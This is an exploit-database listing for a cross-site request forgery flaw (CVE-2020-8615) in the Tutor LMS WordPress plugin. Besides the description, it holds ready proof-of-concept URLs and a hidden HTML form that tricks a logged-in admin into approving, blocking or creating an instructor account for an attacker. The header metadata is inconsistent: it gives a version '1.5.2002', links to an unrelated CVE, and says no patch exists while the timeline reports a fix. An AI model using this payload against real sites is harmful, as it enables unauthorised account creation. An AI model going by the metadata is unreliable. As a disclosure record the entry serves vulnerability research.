Wordpress Plugin Tutor LMS 1.5.3 - Cross-Site Request Forgery (Add User)

vendor:

Tutor LMS

by:

Jinson Varghese Behanan

6.5

CVSS

MEDIUM

Cross-Site Request Forgery

352

CWE

Product Name: Tutor LMS

Affected Version From: 1.5.2002

Affected Version To: 1.5.2002

Patch Exists: NO

Related CWE: CVE-2020-8615

CPE: a:tutor_lms_project:tutor_lms:1.5.2

Metasploit: https://www.rapid7.com/db/vulnerabilities/amazon-linux-ami-2-cve-2019-8615/, https://www.rapid7.com/db/vulnerabilities/oracle_linux-cve-2019-8615/

Other Scripts:

Platforms Tested: WordPress

2020

WordPress Plugin Tutor LMS 1.5.3 – Cross-Site Request Forgery (Add User)

An attacker can use CSRF to register themselves as an instructor or block other legit instructors. Consequently, if the option to create courses without admin approval is enabled on the plugin’s settings page, the attacker will be able to create courses directly as well. All WordPress websites using Tutor LMS version 1.5.2 and below are affected.

Mitigation:

Update to the latest version of the Tutor LMS plugin.

Source

Exploit-DB raw data:

# Exploit Title: Wordpress Plugin Tutor LMS 1.5.3 - Cross-Site Request Forgery (Add User)
# Date: 2020-01-30
# Vendor Homepage: https://www.themeum.com/product/tutor-lms/
# Vendor Changelog: https://wordpress.org/plugins/tutor/#developers
# Exploit Author: Jinson Varghese Behanan
# Author Advisory: https://www.getastra.com/blog/911/plugin-exploit/cross-site-request-forgery-in-tutor-lms-plugin/
# Author Homepage: https://www.jinsonvarghese.com
# Version: 1.5.2 and below
# CVE : CVE-2020-8615

# 1. Description

# The Tutor LMS WordPress plugin is a feature-packed plugin that enables users to create and sell courses. 
# An attacker can use CSRF to register themselves as an instructor or block other legit instructors. 
# Consequently, if the option to create courses without admin approval is enabled on the plugin’s settings 
# page, the attacker will be able to create courses directly as well. All WordPress websites 
# using Tutor LMS version 1.5.2 and below are affected.

# 2. Proof of Concept

# As the requests for the approval and blocking of instructors are sent using the GET method, the CSRF 
# attack to approve an attacker-controlled instructor account can be performed by having the admin 
# visit https://TARGET/wp-admin/admin.php?page=tutor-instructors&action=approve&instructor=8 directly, 
# after retrieving the instructor ID during the registration process. An approved instructor can also be blocked 
# by directing the admin to visit https://TARGET/wp-admin/admin.php?page=tutor-instructors&action=blocked&instructor=7.

# CSRF attack can also be performed on the form present at https://TARGET/wp-admin/admin.php?page=tutor-instructors&sub_page=add_new_instructor 
# in order to have the admin add an instructor account for the attacker, thus bypassing the requirement for approval. 
# This can be done by tricking the admin to submit the below-given web form as a POST request. For example, if the web form is 
# hosted on an attacker-controlled domain https://attacker.com/csrf.html, an admin who is logged in at https://TARGET can 
# be tricked into visiting the link and triggering the request to add an instructor.

<html>
	<body>
		<script>history.pushState('', '', '/')</script>
		<form action="https://TARGET/wp-admin/admin-ajax.php" method="POST">
			<input type="hidden" name="action" value="add&#95;new&#95;instructor" />
			<input type="hidden" name="first&#95;name" value="John" />
			<input type="hidden" name="last&#95;name" value="Doe" />
			<input type="hidden" name="user&#95;login" value="jd_instructor" />
			<input type="hidden" name="email" value="jd@TARGET" />
			<input type="hidden" name="phone&#95;number" value="1231231231" />
			<input type="hidden" name="password" value="Pa&#36;&#36;w0rd&#33;" /> 
			<input type="hidden" name="password&#95;confirmation" value="Pa&#36;&#36;w0rd&#33;" />
			<input type="hidden" name="tutor&#95;profile&#95;bio" value="Et&#32;tempore&#32;culpa&#32;n" />
			<input type="hidden" name="action" value="tutor&#95;add&#95;instructor" /> 
			<input type="submit" value="Submit request" />
		</form> 
	</body>
</html>

3. Timeline

Vulnerability reported to the Tutor LMS team – January 30, 2020.
Tutor LMS version 1.5.3 containing the fix released – February 4, 2020.